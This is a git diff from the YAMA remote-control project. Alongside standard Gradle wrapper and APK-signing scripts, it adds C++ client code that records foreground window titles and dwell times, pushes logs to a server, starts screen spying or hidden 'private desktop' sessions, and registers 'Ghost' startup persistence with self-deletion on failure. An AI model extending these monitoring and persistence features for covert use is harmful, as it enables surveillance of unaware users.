# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"

93
android/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

16
android/settings.gradle Normal file
View File

@@ -0,0 +1,16 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "YAMA"
include(":app")

112
android/sign_apk.bat Normal file
View File

@@ -0,0 +1,112 @@
@echo off
:: sign_apk.bat - Sign a YAMA APK with the release keystore
:: Usage: sign_apk.bat <apk-path>
setlocal
if "%~1"=="" (
echo Usage: sign_apk.bat ^<apk-path^>
exit /b 1
)
set "APK=%~f1"
if not exist "%APK%" (
echo ERROR: APK not found: %APK%
exit /b 1
)
set "KEYSTORE=%~dp0yama-release.jks"
if not exist "%KEYSTORE%" (
echo ERROR: Keystore not found: %KEYSTORE%
exit /b 1
)
:: --- Locate java.exe ---
set "JAVA_EXE="
where java >nul 2>&1
if not errorlevel 1 set "JAVA_EXE=java"
if not defined JAVA_EXE if defined JAVA_HOME (
if exist "%JAVA_HOME%\bin\java.exe" set "JAVA_EXE=%JAVA_HOME%\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%ProgramFiles%\Android\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%ProgramFiles%\Android\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jbr\bin\java.exe"
)
if not defined JAVA_EXE if exist "%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe" (
set "JAVA_EXE=%LOCALAPPDATA%\Programs\Android Studio\jre\bin\java.exe"
)
if not defined JAVA_EXE (
echo ERROR: java.exe not found. Install JDK or Android Studio.
exit /b 1
)
:: --- Locate Android SDK ---
set "SDK_DIR="
if defined ANDROID_HOME if exist "%ANDROID_HOME%" set "SDK_DIR=%ANDROID_HOME%"
if not defined SDK_DIR if defined ANDROID_SDK_ROOT if exist "%ANDROID_SDK_ROOT%" set "SDK_DIR=%ANDROID_SDK_ROOT%"
if not defined SDK_DIR if exist "%LOCALAPPDATA%\Android\Sdk" set "SDK_DIR=%LOCALAPPDATA%\Android\Sdk"
if not defined SDK_DIR (
echo ERROR: Android SDK not found. Set ANDROID_HOME or ANDROID_SDK_ROOT.
exit /b 1
)
:: --- Find latest apksigner.jar (ascending sort, last match = newest) ---
set "SIGNER_JAR="
set "BT_VER="
for /f "delims=" %%D in ('dir /b /ad /on "%SDK_DIR%\build-tools" 2^>nul') do (
if exist "%SDK_DIR%\build-tools\%%D\lib\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\lib\apksigner.jar"
set "BT_VER=%%D"
)
if exist "%SDK_DIR%\build-tools\%%D\apksigner.jar" (
set "SIGNER_JAR=%SDK_DIR%\build-tools\%%D\apksigner.jar"
set "BT_VER=%%D"
)
)
if not defined SIGNER_JAR (
echo ERROR: apksigner.jar not found under %SDK_DIR%\build-tools
exit /b 1
)
echo.
echo APK : %APK%
echo Keystore: %KEYSTORE%
echo Java : %JAVA_EXE%
echo JAR : %SIGNER_JAR% [build-tools %BT_VER%]
echo.
set "PWD=%YAMA_PWD%"
if not defined PWD set /p "PWD=Keystore password: "
if not defined PWD (
echo ERROR: No password provided.
exit /b 1
)
echo.
echo Signing...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" sign --ks "%KEYSTORE%" --ks-pass "pass:%PWD%" --ks-key-alias yama "%APK%"
if errorlevel 1 (
echo ERROR: Signing failed.
exit /b 1
)
echo Verifying...
"%JAVA_EXE%" -jar "%SIGNER_JAR%" verify "%APK%"
if errorlevel 1 (
echo ERROR: Verification failed.
exit /b 1
)
echo.
echo Done: %APK%
endlocal

BIN
android/yama-release.jks Normal file

Binary file not shown.

126
client/ActivityHistory.cpp Normal file
View File

@@ -0,0 +1,126 @@
// ActivityHistory.cpp: 客户端历史活动记录采集模块
#include "stdafx.h"
#include "ActivityHistory.h"
#include "KernelManager.h" // ActivityWindow
ActivityHistory& ActivityHistory::Instance()
{
static ActivityHistory inst;
return inst;
}
void ActivityHistory::Start()
{
if (m_started.exchange(true))
return;
m_running = true;
m_thread = std::thread(&ActivityHistory::Loop, this);
}
void ActivityHistory::Stop()
{
m_running = false;
if (m_thread.joinable())
m_thread.join();
}
std::string ActivityHistory::Dump() const
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string out;
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
for (const auto& r : m_records)
out += r + "\n";
return out;
}
void ActivityHistory::Loop()
{
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC避免“停在一个窗口上看几秒”被过早结账。
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
ActivityWindow aw;
HWND lastHwnd = NULL;
std::string lastTitle;
std::string startTime;
int dwellSec = 0;
while (m_running) {
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
{
std::lock_guard<std::mutex> lock(m_mutex);
if (hwnd == NULL || title.empty()) {
// 空闲/锁定/无标题:结账上一个窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = NULL;
lastTitle.clear();
dwellSec = 0;
} else if (hwnd == lastHwnd) {
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
++dwellSec;
lastTitle = title;
} else {
// 窗口切换:结账上一个,开始累计新窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = hwnd;
lastTitle = title;
startTime = NowStr();
dwellSec = 1;
}
while (m_records.size() > ACTIVITY_HISTORY_MAX)
m_records.pop_back();
m_curTitle = lastTitle;
m_curStartTime = startTime;
m_curDwellSec = dwellSec;
}
Sleep(1000);
}
}
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
{
// 标题里的换行会破坏“每行一条”,做最小清洗
std::string t;
t.reserve(title.size());
for (char c : title) {
if (c == '\r' || c == '\n') c = ' ';
t += c;
}
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
}
std::string ActivityHistory::FormatDuration(int sec)
{
if (sec < 0) sec = 0;
if (sec < 60)
return std::to_string(sec) + "s";
if (sec < 3600) {
int m = sec / 60, s = sec % 60;
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
: std::to_string(m) + "m";
}
int h = sec / 3600, m = (sec % 3600) / 60;
return std::to_string(h) + "h" + std::to_string(m) + "m";
}
std::string ActivityHistory::NowStr()
{
SYSTEMTIME st;
GetLocalTime(&st);
char buf[32];
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
return buf;
}

54
client/ActivityHistory.h Normal file
View File

@@ -0,0 +1,54 @@
#pragma once
#include <string>
#include <deque>
#include <mutex>
#include <thread>
#include <atomic>
// 历史活动记录:
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
class ActivityHistory
{
public:
static ActivityHistory& Instance();
// 启动常驻采样线程(幂等,重复调用无副作用)
void Start();
// 停止采样线程
void Stop();
// 返回全部历史记录(最新在前,多行文本,每行一条)
std::string Dump() const;
private:
ActivityHistory() = default;
~ActivityHistory() { Stop(); }
ActivityHistory(const ActivityHistory&) = delete;
ActivityHistory& operator=(const ActivityHistory&) = delete;
void Loop();
// 拼一条记录字符串
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
// 时长格式化Ns / Nm / NmNs / NhNm
static std::string FormatDuration(int sec);
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
static std::string NowStr();
mutable std::mutex m_mutex;
std::deque<std::string> m_records; // 已完成记录,最新在前
std::string m_curTitle; // 当前进行中的窗口标题
std::string m_curStartTime; // 当前窗口的起始时间
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
std::atomic<bool> m_running{ false };
std::atomic<bool> m_started{ false };
std::thread m_thread;
};

View File

@@ -74,6 +74,7 @@ CAudio::~CAudio()
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}

View File

@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
@@ -75,6 +76,50 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
return a;
}
#if _CONSOLE
#define DLL_API
#else
#define DLL_API __declspec(dllexport)
#endif
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
if (!ENABLE_SCREEN || ulLength == 0) {
return 1;
}
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
return 2;
}
switch (szBuffer[0]) {
case COMMAND_SCREEN_SPY: {
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
szBuffer = bToken; ulLength = 4;
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
ThreadInfo m_hThread;
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
// sub->EnableSubConnAuth();
m_hThread.conn = m_conn;
m_hThread.p = sub;
m_hThread.user = user;
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
while (m_hThread.p) Sleep(1000);
return 0;
}
case TOKEN_PRIVATESCREEN: {
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
t.join();
return 0;
}
}
return -1;
}
DWORD WINAPI StartClientApp(LPVOID param)
{
ClientApp::AddCount(1);
@@ -219,16 +264,24 @@ int main(int argc, const char *argv[])
licenseInit();
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
if (nCmd) {
BYTE buf[] = { nCmd };
return RunCommand(buf, 1);
}
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
// 注册启动项
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
!isService, g_SETTINGS.runasAdmin, Logf);
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
@@ -536,6 +589,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());

View File

@@ -178,9 +178,11 @@
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="FileManager.cpp" />
@@ -197,11 +199,15 @@
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
@@ -220,10 +226,12 @@
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" />
@@ -234,6 +242,10 @@
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />

View File

@@ -41,6 +41,10 @@
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
@@ -89,6 +93,10 @@
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="session.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />

View File

@@ -0,0 +1,44 @@
#include "stdafx.h"
#include "ClientLogManager.h"
#include "../common/commands.h"
#include "../common/logger.h"
CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p)
: CManager(ClientObject, n, p)
, m_sentIdx(0)
, m_running(true)
{
SendLogDump();
m_pushThread = std::thread([this]() {
while (m_running && m_ClientObject->IsConnected()) {
for (int i = 0; i < 30 && m_running; ++i)
Sleep(100);
if (m_running && m_ClientObject->IsConnected())
SendLogDump();
}
});
}
CClientLogManager::~CClientLogManager()
{
m_running = false;
if (m_pushThread.joinable())
m_pushThread.join();
}
VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG)
SendLogDump();
}
void CClientLogManager::SendLogDump()
{
std::lock_guard<std::mutex> lock(m_sendMutex);
std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx);
std::vector<BYTE> pkt(1 + logs.size());
pkt[0] = TOKEN_REPORT_LOG;
if (!logs.empty())
memcpy(pkt.data() + 1, logs.data(), logs.size());
Send(pkt.data(), (UINT)pkt.size());
}

21
client/ClientLogManager.h Normal file
View File

@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include <atomic>
#include <mutex>
#include <thread>
class CClientLogManager : public CManager
{
public:
CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr);
~CClientLogManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
void SendLogDump();
size_t m_sentIdx;
std::mutex m_sendMutex;
std::atomic<bool> m_running;
std::thread m_pushThread;
};

View File

@@ -14,6 +14,7 @@
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
#include "ClientLogManager.h"
#include "KernelManager.h"
#include <iniFile.h>
@@ -69,7 +70,10 @@ DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::strin
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
ClientObject->SetVerifyInfo(msg, signature);
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
UserParam* user = new UserParam{ new BYTE[3], 3 };
memcpy(user->buffer, bToken + 1, 3);
CScreenManager m(ClientObject, 32, (void*)user, TRUE);
if (IsWindows8orHigher()) {
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
} else {
@@ -149,3 +153,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
{
return LoopManager<CProxyManager, 0>(lParam);
}
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
{
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
}

View File

@@ -36,3 +36,4 @@ DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam);

View File

@@ -30,10 +30,12 @@ inline int WSAGetLastError()
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#include "common/zstd_wrapper.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#ifdef _WIN32
# ifdef _WIN64
# pragma comment(lib, "zstd/zstd_x64.lib")
# else
# pragma comment(lib, "zstd/zstd.lib")
# endif
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
@@ -184,8 +186,7 @@ bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{
std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
m_authStatus = ack->status;
m_authStatus = (int)buf[1]; // ConnAuthAck::status at byte offset 1; avoids misaligned uint64_t cast
m_authPending = false;
}
m_authCv.notify_all();
@@ -477,6 +478,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
// m_hWorkThread != NULL and reuse this thread instead of spawning a new
// one. Multiple concurrent threads racing on the same socket would tear
// the TCP stream and prevent any complete command from being delivered.
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
// is never dereferenced as a kernel handle.
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
}
#endif
}

View File

@@ -39,11 +39,18 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
// 创建工作线程(如果需要)
if (m_hWorkThread == NULL) {
#ifdef _WIN32
m_bIsRunning = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
#else
pthread_t id = 0;
